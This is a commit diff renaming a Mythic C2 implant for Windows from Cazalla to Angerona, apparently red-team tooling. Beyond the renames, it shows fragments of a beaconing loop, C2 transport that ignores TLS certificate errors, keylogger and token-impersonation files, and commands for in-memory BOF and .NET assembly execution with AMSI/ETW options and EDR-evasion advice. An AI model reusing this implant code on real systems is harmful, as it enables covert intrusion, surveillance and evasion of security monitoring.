Rename project from Cazalla to Angerona

Complete rebrand: renamed all files, folders, code references, documentation, Docker paths, env vars, Makefile targets, Python classes, C structs/functions, and git remote URL. Replaced agent icons with new Angerona branding (light + dark mode SVGs). Fixed builder.py to reference SVG instead of PNG for Mythic icon path.

Payload_Type/angerona/.docker/Dockerfile

@@ -43,10 +43,10 @@ ENV MYTHIC_SERVER_PASSWORD="mythic_password"
 WORKDIR /Mythic/
 
 # Copiar estructura completa del proyecto
-COPY ./ /Mythic/cazalla/
+COPY ./ /Mythic/angerona/
 
 # Asegurar que los permisos sean correctos para Python
-RUN chmod -R a+rX /Mythic/cazalla/
+RUN chmod -R a+rX /Mythic/angerona/
 
 # --- Comando por defecto ---
 CMD ["python3", "main.py"]

Payload_Type/angerona/.dockerignore

@@ -65,5 +65,5 @@ docker-compose.yml
 mythic-cli
 
 # Agent code build directories (will be built inside container)
-cazalla/agent_code/cazalla/build/
+angerona/agent_code/angerona/build/
 

Payload_Type/angerona/Dockerfile

@@ -47,7 +47,7 @@ ENV SYSLOG_FACILITY="16"
 # --- Copia tu código de translator ---
 # This COPY ensures local changes are included when USE_BUILD_CONTEXT=true
 WORKDIR /Mythic/
-COPY ./ /Mythic/cazalla/
+COPY ./ /Mythic/angerona/
 
 # --- Comando por defecto ---
 CMD ["python3", "main.py"]

Payload_Type/angerona/angerona/agent_code/angerona/Makefile

@@ -65,23 +65,23 @@ $(shell mkdir -p $(BUILD_DIR))
 all: exe dll
 debug: debug_exe debug_dll
 
-exe: $(BUILD_DIR)/cazalla.exe
+exe: $(BUILD_DIR)/angerona.exe
-dll: $(BUILD_DIR)/cazalla.dll
+dll: $(BUILD_DIR)/angerona.dll
-debug_exe: $(BUILD_DIR)/cazalla-debug.exe
+debug_exe: $(BUILD_DIR)/angerona-debug.exe
-debug_dll: $(BUILD_DIR)/cazalla-debug.dll
+debug_dll: $(BUILD_DIR)/angerona-debug.dll
 
 # Executable Target
-$(BUILD_DIR)/cazalla.exe: $(SRC_FILES)
+$(BUILD_DIR)/angerona.exe: $(SRC_FILES)
 	$(CC) $^ -o $@ $(CFLAGS) -s -D_EXE $(COMMAND_FLAGS) $(LFLAGS)
 
-$(BUILD_DIR)/cazalla-debug.exe: $(SRC_FILES)
+$(BUILD_DIR)/angerona-debug.exe: $(SRC_FILES)
 	$(CC) $^ -o $@ $(CFLAGS) -D_EXE $(COMMAND_FLAGS) $(LFLAGS_CONSOLE) $(DEBUG_FLAGS)
 
 # DLL Target
-$(BUILD_DIR)/cazalla.dll: $(SRC_FILES)
+$(BUILD_DIR)/angerona.dll: $(SRC_FILES)
 	$(CC) $^ -o $@ -shared -D_DLL $(CFLAGS) -s $(COMMAND_FLAGS) $(LFLAGS)
 
-$(BUILD_DIR)/cazalla-debug.dll: $(SRC_FILES)
+$(BUILD_DIR)/angerona-debug.dll: $(SRC_FILES)
 	$(CC) $^ -o $@ -shared -D_DLL $(CFLAGS) $(COMMAND_FLAGS) $(LFLAGS) $(DEBUG_FLAGS)
 
 # Clean up

Payload_Type/angerona/angerona/agent_code/angerona/SistemadeFicheros.c

@@ -1,7 +1,7 @@
 #include "SistemadeFicheros.h"
 #include "paquete.h"
 #include "transporte.h"
-#include "cazalla.h"  // For context tracking functions
+#include "angerona.h"  // For context tracking functions
 
 /* Forward decl to avoid implicit declaration on some toolchains */
 BOOL PackageAddFormatPrintf(PPaquete package, BOOL copySize, char* fmt, ...);

Payload_Type/angerona/angerona/agent_code/angerona/angerona.c

@@ -1,9 +1,9 @@
-#include "crypto.h"  // Include crypto.h BEFORE cazalla.h to avoid redeclaration
+#include "crypto.h"  // Include crypto.h BEFORE angerona.h to avoid redeclaration
-#include "cazalla.h"
+#include "angerona.h"
 #include "Config.h"
 #include "socks_manager.h"
 
-CONFIG_CAZALLA* cazallaConfig = NULL;
+CONFIG_ANGERONA* angeronaConfig = NULL;
 
 /* Context tracking: Current working directory and impersonation context */
 static char gCurrentDirectory[MAX_PATH] = "";
@@ -48,26 +48,26 @@ VOID clearImpersonationContext(void) {
     gImpersonationContext[0] = '\0';
 }
 
-VOID cazallaMain() {
+VOID angeronaMain() {
-    _inf("Inicializando configuración de Cazalla");
+    _inf("Inicializando configuración de Angerona");
 
-    cazallaConfig = (CONFIG_CAZALLA*)LocalAlloc(LPTR, sizeof(CONFIG_CAZALLA));
+    angeronaConfig = (CONFIG_ANGERONA*)LocalAlloc(LPTR, sizeof(CONFIG_ANGERONA));
-    if (!cazallaConfig) {
+    if (!angeronaConfig) {
-        _err("Error: fallo en LocalAlloc para cazallaConfig");
+        _err("Error: fallo en LocalAlloc para angeronaConfig");
         return;
     }
 
-    cazallaConfig->idAgente       = (PCHAR)initUUID;
+    angeronaConfig->idAgente       = (PCHAR)initUUID;
-    cazallaConfig->hostName       = (PWCHAR)hostname;
+    angeronaConfig->hostName       = (PWCHAR)hostname;
-    cazallaConfig->puertoHttp     = port;
+    angeronaConfig->puertoHttp     = port;
-    cazallaConfig->endPoint       = (PWCHAR)endpoint;
+    angeronaConfig->endPoint       = (PWCHAR)endpoint;
-    cazallaConfig->userAgent      = (PWCHAR)useragent;
+    angeronaConfig->userAgent      = (PWCHAR)useragent;
-    cazallaConfig->metodoHttp     = (PWCHAR)httpmethod;
+    angeronaConfig->metodoHttp     = (PWCHAR)httpmethod;
-    cazallaConfig->SSL            = ssl;
+    angeronaConfig->SSL            = ssl;
-    cazallaConfig->proxyHabilitado= proxyenabled;
+    angeronaConfig->proxyHabilitado= proxyenabled;
-    cazallaConfig->urlProxy       = (PWCHAR)proxyurl;
+    angeronaConfig->urlProxy       = (PWCHAR)proxyurl;
-    cazallaConfig->tiempoSleep    = (UINT32)(sleep_time) * 1000;
+    angeronaConfig->tiempoSleep    = (UINT32)(sleep_time) * 1000;
-    cazallaConfig->encryptionEnabled = ENCRYPTION_ENABLED;
+    angeronaConfig->encryptionEnabled = ENCRYPTION_ENABLED;
 
     // Debug: print the raw values
     _dbg("ENCRYPTION_ENABLED = %d", ENCRYPTION_ENABLED);
@@ -75,26 +75,26 @@ VOID cazallaMain() {
     _dbg("AESPSK_KEY length = %zu", strlen(AESPSK_KEY));
 
     // Initialize AESPSK encryption if enabled
-    if (cazallaConfig->encryptionEnabled) {
+    if (angeronaConfig->encryptionEnabled) {
         _inf("Inicializando cifrado AES256-HMAC...");
         if (crypto_init_aespsk(AESPSK_KEY)) {
             _inf("Cifrado habilitado");
         } else {
             _err("Falló la inicialización del cifrado");
-            cazallaConfig->encryptionEnabled = FALSE;
+            angeronaConfig->encryptionEnabled = FALSE;
         }
     } else {
         _inf("Cifrado deshabilitado");
     }
     _dbg("Config: id=%s host=%ls port=%u ssl=%d proxy=%d endpoint=%ls UA=%ls sleep=%u",
-        cazallaConfig->idAgente,
+        angeronaConfig->idAgente,
-        cazallaConfig->hostName,
+        angeronaConfig->hostName,
-        cazallaConfig->puertoHttp,
+        angeronaConfig->puertoHttp,
-        (int)cazallaConfig->SSL,
+        (int)angeronaConfig->SSL,
-        (int)cazallaConfig->proxyHabilitado,
+        (int)angeronaConfig->proxyHabilitado,
-        cazallaConfig->endPoint,
+        angeronaConfig->endPoint,
-        cazallaConfig->userAgent,
+        angeronaConfig->userAgent,
-        cazallaConfig->tiempoSleep);
+        angeronaConfig->tiempoSleep);
 
     _inf("Iniciando primer checkin...");
     PAnalizador respuestaAnalizador = checkin();
@@ -106,7 +106,7 @@ VOID cazallaMain() {
 
     parseChecking(respuestaAnalizador);
     
-    _inf("Entrando en bucle principal (rutina). Sleep inicial: %u ms", cazallaConfig->tiempoSleep);
+    _inf("Entrando en bucle principal (rutina). Sleep inicial: %u ms", angeronaConfig->tiempoSleep);
 
     while (TRUE) {
         rutina();
@@ -116,13 +116,13 @@ VOID cazallaMain() {
             _dbg("SOCKS activo -> checkin rápido (100 ms)");
             Sleep(100);
         } else {
-            _dbg("SOCKS inactivo -> durmiendo %u ms", cazallaConfig->tiempoSleep);
+            _dbg("SOCKS inactivo -> durmiendo %u ms", angeronaConfig->tiempoSleep);
-            Sleep(cazallaConfig->tiempoSleep);
+            Sleep(angeronaConfig->tiempoSleep);
         }
     }
 }
 
 VOID setUUID(PCHAR newUUID) {
-    cazallaConfig->idAgente = newUUID;
+    angeronaConfig->idAgente = newUUID;
     _dbg("UUID actualizado: %s", newUUID);
 }

Payload_Type/angerona/angerona/agent_code/angerona/angerona.h

@@ -1,6 +1,6 @@
 #pragma once
-#ifndef CAZALLA_H
+#ifndef ANGERONA_H
-#define CAZALLA_H
+#define ANGERONA_H
 
 #include <windows.h>
 #include "paquete.h"
@@ -25,9 +25,9 @@ typedef struct {
 
     UINT32 tiempoSleep;
     BOOL encryptionEnabled;
-} CONFIG_CAZALLA, *PCONFIG_CAZALLA;
+} CONFIG_ANGERONA, *PCONFIG_ANGERONA;
 
-extern PCONFIG_CAZALLA cazallaConfig;
+extern PCONFIG_ANGERONA angeronaConfig;
 
 /* Context tracking functions */
 PCHAR getCurrentDirectoryContext(void);
@@ -37,6 +37,6 @@ VOID setImpersonationContext(PCHAR context);
 VOID clearImpersonationContext(void);
 
 VOID setUUID(PCHAR newUUID);
-VOID cazallaMain(void);
+VOID angeronaMain(void);
 
 #endif

Payload_Type/angerona/angerona/agent_code/angerona/checkin.c

@@ -1,5 +1,5 @@
 #include "checkin.h"
-#include "cazalla.h"
+#include "angerona.h"
 #include "socks_manager.h"
 #include "paquete.h"  // For addCallbackContext
 #include "identity.h"  // For IdentityGetUserInfo
@@ -132,7 +132,7 @@ PAnalizador checkin() {
         return NULL;
     }
 
-    addString(checkin, (PCHAR)cazallaConfig->idAgente, FALSE);
+    addString(checkin, (PCHAR)angeronaConfig->idAgente, FALSE);
     UINT32* tableOfIPs = obtenerDireccionIP(&numeroDeIPs);
     addInt32(checkin, numeroDeIPs);
     for (UINT32 i = 0; i < numeroDeIPs; i++) {

Payload_Type/angerona/angerona/agent_code/angerona/comandos.c

@@ -1,4 +1,4 @@
-#include "cazalla.h"
+#include "angerona.h"
 #include "comandos.h"
 #include "socks_manager.h"
 #include "rpfwd_manager.h"
@@ -364,7 +364,7 @@ BOOL parseChecking(PAnalizador respuestaAnalizador) {
 
     _dbg("Tenemos nuevo UUID ! --> %s", nuevoUuid);
     
-    // === Nota: Cifrado AESPSK ya inicializado en cazallaMain() ===
+    // === Nota: Cifrado AESPSK ya inicializado en angeronaMain() ===
     // La clave AES se inyecta en tiempo de compilación, no se deriva en runtime
 
 

Payload_Type/angerona/angerona/agent_code/angerona/inline_execute.c

@@ -1,4 +1,4 @@
-#include "cazalla.h"
+#include "angerona.h"
 #include "inline_execute.h"
 #include "comandos.h"
 #include "paquete.h"
@@ -174,7 +174,7 @@ BOOL BeaconIsAdmin(void) {
 
 /*
  * GetFileBytesFromMythic - Fetch a file from Mythic server using file_id
- * Adapted from Cazalla's upload mechanism
+ * Adapted from Angerona's upload mechanism
  */
 DWORD GetFileBytesFromMythic(PCHAR taskUuid, PCHAR fileId, PBOF_UPLOAD bof) {
 #define CHUNK_SIZE 512000  // 512 KB

Payload_Type/angerona/angerona/agent_code/angerona/keylog.c

@@ -1,6 +1,6 @@
 #include "keylog.h"
 #include "paquete.h"
-#include "cazalla.h"
+#include "angerona.h"
 
 static volatile BOOL g_keylog_running = FALSE;
 static HANDLE g_keylog_thread = NULL;

Payload_Type/angerona/angerona/agent_code/angerona/main.c

@@ -1,13 +1,13 @@
-#include "cazalla.h"
+#include "angerona.h"
 
 int main() {
-    _inf("=== CAZALLA AGENT STARTING ===");
+    _inf("=== ANGERONA AGENT STARTING ===");
 #ifdef AESPSK
     _inf("AESPSK: %s", AESPSK);
 #endif
     Sleep(2000); // Pausa 2 segundos para ver si inicia
-    cazallaMain();
+    angeronaMain();
-    _inf("=== CAZALLA AGENT EXITING ===");
+    _inf("=== ANGERONA AGENT EXITING ===");
     _inf("Press any key to exit...");
     getchar();
     return 0;

Payload_Type/angerona/angerona/agent_code/angerona/paquete.c

@@ -1,5 +1,5 @@
-#include "crypto.h"  // Include crypto.h BEFORE cazalla.h to avoid redeclaration
+#include "crypto.h"  // Include crypto.h BEFORE angerona.h to avoid redeclaration
-#include "cazalla.h"
+#include "angerona.h"
 #include "paquete.h"
 #include "socks_manager.h"
 #include "rpfwd_manager.h"
@@ -19,7 +19,7 @@ PPaquete nuevoPaquete(BYTE idComando, BOOL init) {
 
     paquete->length = 0;
     if (init) {
-        addString(paquete, cazallaConfig->idAgente, FALSE);
+        addString(paquete, angeronaConfig->idAgente, FALSE);
         addByte(paquete, idComando);
     }
 
@@ -304,10 +304,10 @@ PAnalizador mandarPaquete(PPaquete paquete) {
                         char uuidCheck[37] = {0};
                         memcpy(uuidCheck, datosDecodificados, 36);
                         _dbg("First 36 bytes (UUID check): %s", uuidCheck);
-                        _dbg("Expected UUID: %s", cazallaConfig->idAgente);
+                        _dbg("Expected UUID: %s", angeronaConfig->idAgente);
                         
                         // If response starts with UUID, we need to extract it
-                        if (strncmp(uuidCheck, cazallaConfig->idAgente, 36) == 0) {
+                        if (strncmp(uuidCheck, angeronaConfig->idAgente, 36) == 0) {
                             _dbg("Response format: UUID + encrypted_data detected");
                             _dbg("Extracting encrypted data (after UUID)...");
                             

Payload_Type/angerona/angerona/agent_code/angerona/screenshot.c

@@ -1,5 +1,5 @@
 #include "screenshot.h"
-#include "cazalla.h"
+#include "angerona.h"
 #include "paquete.h"
 #include "SistemadeFicheros.h"
 #include <windows.h>

Payload_Type/angerona/angerona/agent_code/angerona/sleep.c

@@ -1,5 +1,5 @@
 #include "sleep.h"
-#include "cazalla.h"
+#include "angerona.h"
 #include "socks_manager.h"
 
 
@@ -25,12 +25,12 @@ BOOL sleep(PAnalizador argumentos) {
         tiempoSleep = minVarianza;
     }
 
-    if (cazallaConfig == NULL) {
+    if (angeronaConfig == NULL) {
-        _err("Error: cazallaConfig no ha sido inicializado.\n");
+        _err("Error: angeronaConfig no ha sido inicializado.\n");
         return FALSE;
     }
 
-    _dbg("Tiempo Sleep antes: %d\n", cazallaConfig->tiempoSleep);
+    _dbg("Tiempo Sleep antes: %d\n", angeronaConfig->tiempoSleep);
 
     /* convertir a milisegundos */
     tiempoSleep = tiempoSleep * 1000;
@@ -41,7 +41,7 @@ BOOL sleep(PAnalizador argumentos) {
         if (tiempoSleep > 5000) tiempoSleep = 5000;  // máximo 5 segundos
     }
 
-    cazallaConfig->tiempoSleep = tiempoSleep;
+    angeronaConfig->tiempoSleep = tiempoSleep;
 
     _dbg("Nuevo tiempoSleep configurado: %u ms", tiempoSleep);
 

Payload_Type/angerona/angerona/agent_code/angerona/tokens.c

@@ -5,7 +5,7 @@
 #include "analizador.h"
 #include "identity.h"
 #include "debug.h"
-#include "cazalla.h"  // For context tracking functions
+#include "angerona.h"  // For context tracking functions
 #include <tlhelp32.h>
 #include <psapi.h>
 

Payload_Type/angerona/angerona/agent_code/angerona/transporte.c

@@ -50,25 +50,25 @@ Analizador* realizarPeticionHTTP(PBYTE bufferIn, UINT32 bufferLen) {
     LPCWSTR httpProxy = WINHTTP_NO_PROXY_NAME;
     LPCWSTR noProxyBypass = WINHTTP_NO_PROXY_BYPASS;
 
-    if (cazallaConfig->proxyHabilitado && cazallaConfig->urlProxy) {
+    if (angeronaConfig->proxyHabilitado && angeronaConfig->urlProxy) {
         tipoDeAcceso = WINHTTP_ACCESS_TYPE_NAMED_PROXY;
-        httpProxy = cazallaConfig->urlProxy;
+        httpProxy = angeronaConfig->urlProxy;
     }
 
-    if (cazallaConfig->SSL) {
+    if (angeronaConfig->SSL) {
         httpFlags |= WINHTTP_FLAG_SECURE;
     }
 
     _dbg("WinHttpOpen()");
-    hSesion = WinHttpOpen(cazallaConfig->userAgent, tipoDeAcceso, httpProxy, noProxyBypass, 0);
+    hSesion = WinHttpOpen(angeronaConfig->userAgent, tipoDeAcceso, httpProxy, noProxyBypass, 0);
     if (!hSesion) {
         _err("WinHttpOpen falló (%lu)", GetLastError());
         return NULL;
     }
     _dbg("WinHttpOpen OK");
 
-    _dbg("WinHttpConnect() host=%ls port=%d", cazallaConfig->hostName, cazallaConfig->puertoHttp);
+    _dbg("WinHttpConnect() host=%ls port=%d", angeronaConfig->hostName, angeronaConfig->puertoHttp);
-    hConexion = WinHttpConnect(hSesion, cazallaConfig->hostName, cazallaConfig->puertoHttp, 0);
+    hConexion = WinHttpConnect(hSesion, angeronaConfig->hostName, angeronaConfig->puertoHttp, 0);
     if (!hConexion) {
         _err("WinHttpConnect falló (%lu)", GetLastError());
         WinHttpCloseHandle(hSesion);
@@ -78,22 +78,22 @@ Analizador* realizarPeticionHTTP(PBYTE bufferIn, UINT32 bufferLen) {
 
     // Log complete URL - ensure endpoint starts with /
     wchar_t endpointBuf[256];
-    if (cazallaConfig->endPoint && cazallaConfig->endPoint[0] != L'/') {
+    if (angeronaConfig->endPoint && angeronaConfig->endPoint[0] != L'/') {
-        swprintf(endpointBuf, 256, L"/%ls", cazallaConfig->endPoint);
+        swprintf(endpointBuf, 256, L"/%ls", angeronaConfig->endPoint);
     } else {
-        wcsncpy(endpointBuf, cazallaConfig->endPoint ? cazallaConfig->endPoint : L"", 256);
+        wcsncpy(endpointBuf, angeronaConfig->endPoint ? angeronaConfig->endPoint : L"", 256);
     }
     
     swprintf(urlBuffer, 512, L"%ls://%ls:%d%ls", 
-             cazallaConfig->SSL ? L"https" : L"http",
+             angeronaConfig->SSL ? L"https" : L"http",
-             cazallaConfig->hostName, 
+             angeronaConfig->hostName, 
-             cazallaConfig->puertoHttp,
+             angeronaConfig->puertoHttp,
              endpointBuf);
     _dbg("Complete URL: %ls", urlBuffer);
     
     _dbg("WinHttpOpenRequest() endpoint=%ls method=%ls flags=0x%x", 
-         endpointBuf, cazallaConfig->metodoHttp, httpFlags);
+         endpointBuf, angeronaConfig->metodoHttp, httpFlags);
-    hPeticion = WinHttpOpenRequest(hConexion, cazallaConfig->metodoHttp, endpointBuf, NULL, NULL, NULL, httpFlags);
+    hPeticion = WinHttpOpenRequest(hConexion, angeronaConfig->metodoHttp, endpointBuf, NULL, NULL, NULL, httpFlags);
     if (!hPeticion) {
         _err("WinHttpOpenRequest falló (%lu)", GetLastError());
         WinHttpCloseHandle(hConexion);
@@ -102,7 +102,7 @@ Analizador* realizarPeticionHTTP(PBYTE bufferIn, UINT32 bufferLen) {
     }
     _dbg("WinHttpOpenRequest OK");
 
-    if (cazallaConfig->SSL) {
+    if (angeronaConfig->SSL) {
         _dbg("Configurando opciones SSL");
         DWORD opcionesSeguridad = SECURITY_FLAG_IGNORE_UNKNOWN_CA |
             SECURITY_FLAG_IGNORE_CERT_DATE_INVALID |

Payload_Type/angerona/angerona/agent_code/angerona/transporte.h

@@ -4,7 +4,7 @@
 
 #include <windows.h>
 #include <winhttp.h>
-#include "cazalla.h"
+#include "angerona.h"
 #include "analizador.h"
 #include "socks_manager.h"  // <— añadido
 

Payload_Type/angerona/angerona/agent_functions/angerona.svg

@@ -0,0 +1,16 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<svg width="200" height="200" viewBox="0 0 200 200" xmlns="http://www.w3.org/2000/svg">
+  <circle cx="100" cy="100" r="85" fill="none" stroke="#111" stroke-width="4"/>
+
+  <!-- Laurel left -->
+  <path d="M60 130 Q50 100 70 70" fill="none" stroke="#111" stroke-width="3"/>
+  <path d="M65 120 L55 110 M68 105 L58 95 M72 90 L62 80" stroke="#111" stroke-width="3"/>
+
+  <!-- Laurel right -->
+  <path d="M140 130 Q150 100 130 70" fill="none" stroke="#111" stroke-width="3"/>
+  <path d="M135 120 L145 110 M132 105 L142 95 M128 90 L138 80" stroke="#111" stroke-width="3"/>
+
+  <!-- Central seal (silence mark) -->
+  <circle cx="100" cy="100" r="18" fill="none" stroke="#111" stroke-width="3"/>
+  <line x1="85" y1="100" x2="115" y2="100" stroke="#111" stroke-width="3"/>
+</svg>

Payload_Type/angerona/angerona/agent_functions/angerona_dark.svg

@@ -0,0 +1,16 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<svg width="200" height="200" viewBox="0 0 200 200" xmlns="http://www.w3.org/2000/svg">
+  <circle cx="100" cy="100" r="85" fill="none" stroke="#eee" stroke-width="4"/>
+
+  <!-- Laurel left -->
+  <path d="M60 130 Q50 100 70 70" fill="none" stroke="#eee" stroke-width="3"/>
+  <path d="M65 120 L55 110 M68 105 L58 95 M72 90 L62 80" stroke="#eee" stroke-width="3"/>
+
+  <!-- Laurel right -->
+  <path d="M140 130 Q150 100 130 70" fill="none" stroke="#eee" stroke-width="3"/>
+  <path d="M135 120 L145 110 M132 105 L142 95 M128 90 L138 80" stroke="#eee" stroke-width="3"/>
+
+  <!-- Central seal (silence mark) -->
+  <circle cx="100" cy="100" r="18" fill="none" stroke="#eee" stroke-width="3"/>
+  <line x1="85" y1="100" x2="115" y2="100" stroke="#eee" stroke-width="3"/>
+</svg>

Payload_Type/angerona/angerona/agent_functions/builder.py

@@ -15,8 +15,8 @@ def generate_random_string(length=100):
     chars = string.ascii_letters + string.digits  # a-zA-Z0-9
     return ''.join(random.choices(chars, k=length))
 
-class CazallaAgent(PayloadType):
+class AngeronaAgent(PayloadType):
-    name = "Cazalla"
+    name = "Angerona"
     file_extension = "exe"
     author = "OFSTeam"
     supported_os = [SupportedOS.Windows]
@@ -26,7 +26,7 @@ class CazallaAgent(PayloadType):
     supports_dynamic_loading = True
     c2_profiles = ["http"]
     mythic_encrypts = True
-    translation_container = "cazalla_translator"
+    translation_container = "angerona_translator"
     build_parameters = [
         BuildParameter(
             name="output",
@@ -57,8 +57,8 @@ class CazallaAgent(PayloadType):
             default_value="0"
         )
     ]
-    agent_path = pathlib.Path(".") / "cazalla"
+    agent_path = pathlib.Path(".") / "angerona"
-    agent_icon_path = agent_path / "agent_functions" / "cazalla.png"
+    agent_icon_path = agent_path / "agent_functions" / "angerona.svg"
     agent_code_path = agent_path / "agent_code"
 
     build_steps = [
@@ -261,7 +261,7 @@ class CazallaAgent(PayloadType):
         debug_output = self.get_parameter("debug_output")
         ollvm_compilation = int(self.get_parameter("ollvm_compilation"))
 
-        config_path = f"{agent_build_path.name}/agent_code/cazalla/Config.h"
+        config_path = f"{agent_build_path.name}/agent_code/angerona/Config.h"
         
         # Replace placeholders in Config.h
         debug_messages.append(f"\n=== CONFIG.H REPLACEMENT ===")
@@ -321,11 +321,11 @@ class CazallaAgent(PayloadType):
             # Determine build target and filename based on output format and debug settings
             if debug_level == "none":
                 make_target = output_format
-                output_filename = f"cazalla.{output_format}"
+                output_filename = f"angerona.{output_format}"
                 make_flags = ""
             else:
                 make_target = f"debug_{output_format}"
-                output_filename = f"cazalla-debug.{output_format}"
+                output_filename = f"angerona-debug.{output_format}"
                 # Pass debug level and output type to Makefile
                 # The Makefile will convert string values to numbers
                 make_flags = f"DEBUG_LEVEL={debug_level} DEBUG_OUTPUT={debug_output}"
@@ -334,8 +334,8 @@ class CazallaAgent(PayloadType):
             if command_flags_str:
                 make_flags = f"{make_flags} COMMAND_FLAGS='{command_flags_str}'" if make_flags else f"COMMAND_FLAGS='{command_flags_str}'"
 
-            command = f"make -C {agent_build_path.name}/agent_code/cazalla {make_target} {make_flags}"
+            command = f"make -C {agent_build_path.name}/agent_code/angerona {make_target} {make_flags}"
-            filename = f"{agent_build_path.name}/agent_code/cazalla/build/{output_filename}"
+            filename = f"{agent_build_path.name}/agent_code/angerona/build/{output_filename}"
 
             proc = await asyncio.create_subprocess_shell(
                 command,
@@ -367,7 +367,7 @@ class CazallaAgent(PayloadType):
             await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage(
                 PayloadUUID=self.uuid,
                 StepName="Compiling",
-                StepStdout=f"Successfully compiled cazalla{debug_info}\nCommand: {command}\nTarget: {make_target}\nFlags: {make_flags}\nOutput: {output_filename}\nMD5: {md5_hash}\nSHA256: {sha256_hash}",
+                StepStdout=f"Successfully compiled angerona{debug_info}\nCommand: {command}\nTarget: {make_target}\nFlags: {make_flags}\nOutput: {output_filename}\nMD5: {md5_hash}\nSHA256: {sha256_hash}",
                 StepSuccess=True
             ))
 
@@ -411,8 +411,8 @@ class CazallaAgent(PayloadType):
             {obfuscation_parameters} \
             -L/usr/lib/gcc/x86_64-w64-mingw32/13-posix \
             --sysroot=/usr/x86_64-w64-mingw32 \
-            /tmp/cazalla/*.c \
+            /tmp/angerona/*.c \
-            -o /tmp/cazalla/cazalla.exe \
+            -o /tmp/angerona/angerona.exe \
             -lntdll -lgdi32 -lws2_32 -lcrypt32 -liphlpapi -lshlwapi -lole32 -luser32 -ladvapi32 \
             -lncrypt -lbcrypt -lversion -lnetapi32 -lwinhttp "
 
@@ -420,7 +420,7 @@ class CazallaAgent(PayloadType):
             create_container_command = [
                 "docker", "run",
                 "--name", f"{container_name}",
-                "--volume", f"{docker_volume_folder}:/tmp/cazalla/",
+                "--volume", f"{docker_volume_folder}:/tmp/angerona/",
                 "ollvm16-builder:latest",
                 "sh", "-c" ,compilation_command
             ]
@@ -434,7 +434,7 @@ class CazallaAgent(PayloadType):
 
             try:
                 # Move agent_build_path.name to docker_volume_folder
-                copy_tree(f"{agent_build_path.name}/agent_code/cazalla", docker_volume_folder)
+                copy_tree(f"{agent_build_path.name}/agent_code/angerona", docker_volume_folder)
 
                 # Create Docker Container
                 result = subprocess.run(create_container_command, capture_output=True, text=True, check=True)
@@ -451,13 +451,13 @@ class CazallaAgent(PayloadType):
                     return resp
 
                 # Get the output from the Docker Container
-                resp.payload = open(f"{docker_volume_folder}/cazalla.exe", "rb").read()
+                resp.payload = open(f"{docker_volume_folder}/angerona.exe", "rb").read()
                 resp.build_message = "Successfully built!"
 
                 await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage(
                     PayloadUUID=self.uuid,
                     StepName="Compiling",
-                    StepStdout=f"Successfully built cazalla.exe",
+                    StepStdout=f"Successfully built angerona.exe",
                     StepSuccess=True
                 ))
 

Payload_Type/angerona/angerona/agent_functions/inline_execute.py

@@ -246,7 +246,7 @@ class InlineExecuteCommand(CommandBase):
     help_cmd = "inline_execute -BOF [COFF.o] [-Arguments [optional arguments]]"
     description = "Execute a Beacon Object File in the current process thread. (e.g., inline_execute -BOF listmods.x64.o -Arguments int32:1234) \n [!!WARNING!! Incorrect argument types can crash the Agent process.]"
     version = 1
-    author = "@c0rnbread (adapted for Cazalla)"
+    author = "@c0rnbread (adapted for Angerona)"
     attackmapping = []
     argument_class = InlineExecuteArguments
     completion_functions = {"coff_completion_callback": coff_completion_callback}

Payload_Type/angerona/angerona/agent_functions/inline_execute_assembly.py

@@ -259,7 +259,7 @@ class InlineExecuteAssemblyCommand(CommandBase):
     help_cmd = "inline_execute_assembly -Assembly [file] [-Arguments [assembly args] [--patchexit] [--amsi] [--etw]]"
     description = "Execute a .NET Assembly in the current process using @EricEsquivel's BOF \"Inline-EA\" (e.g., inline_execute_assembly -Assembly SharpUp.exe -Arguments \"audit\" --patchexit --amsi --etw)"
     version = 1
-    author = "@c0rnbread (adapted for Cazalla)"
+    author = "@c0rnbread (adapted for Angerona)"
     script_only = True
     attackmapping = []
     argument_class = InlineExecuteAssemblyArguments

Payload_Type/angerona/angerona/agent_functions/shell.py

@@ -30,7 +30,7 @@ class ShellCommand(CommandBase):
     cmd = "shell"
     needs_admin = False
     help_cmd = "shell <command>"
-    description = "Execute arbitrary shell commands on the target system by spawning cmd.exe. The command is executed in a non-interactive shell and the output is captured and returned. HIGH OPSEC RISK: This command spawns cmd.exe which is heavily monitored by EDR/XDR solutions. Command execution and command-line arguments are logged by security tools. Consider using built-in Cazalla commands (ps, ls, cat, etc.) instead when possible, as they provide better OPSEC. Always requires approval from another operator before execution."
+    description = "Execute arbitrary shell commands on the target system by spawning cmd.exe. The command is executed in a non-interactive shell and the output is captured and returned. HIGH OPSEC RISK: This command spawns cmd.exe which is heavily monitored by EDR/XDR solutions. Command execution and command-line arguments are logged by security tools. Consider using built-in Angerona commands (ps, ls, cat, etc.) instead when possible, as they provide better OPSEC. Always requires approval from another operator before execution."
     version = 1
     author = "Kaseya OFSTeam"
     attackmapping = ["T1059"]
@@ -80,7 +80,7 @@ class ShellCommand(CommandBase):
                 message += f"  • {warning}\n"
             message += "\n"
         
-        message += "Consider using built-in Cazalla commands instead:\n"
+        message += "Consider using built-in Angerona commands instead:\n"
         message += "  • Use 'ps' instead of 'tasklist'\n"
         message += "  • Use 'ls' instead of 'dir'\n"
         message += "  • Use 'cat' instead of 'type'\n"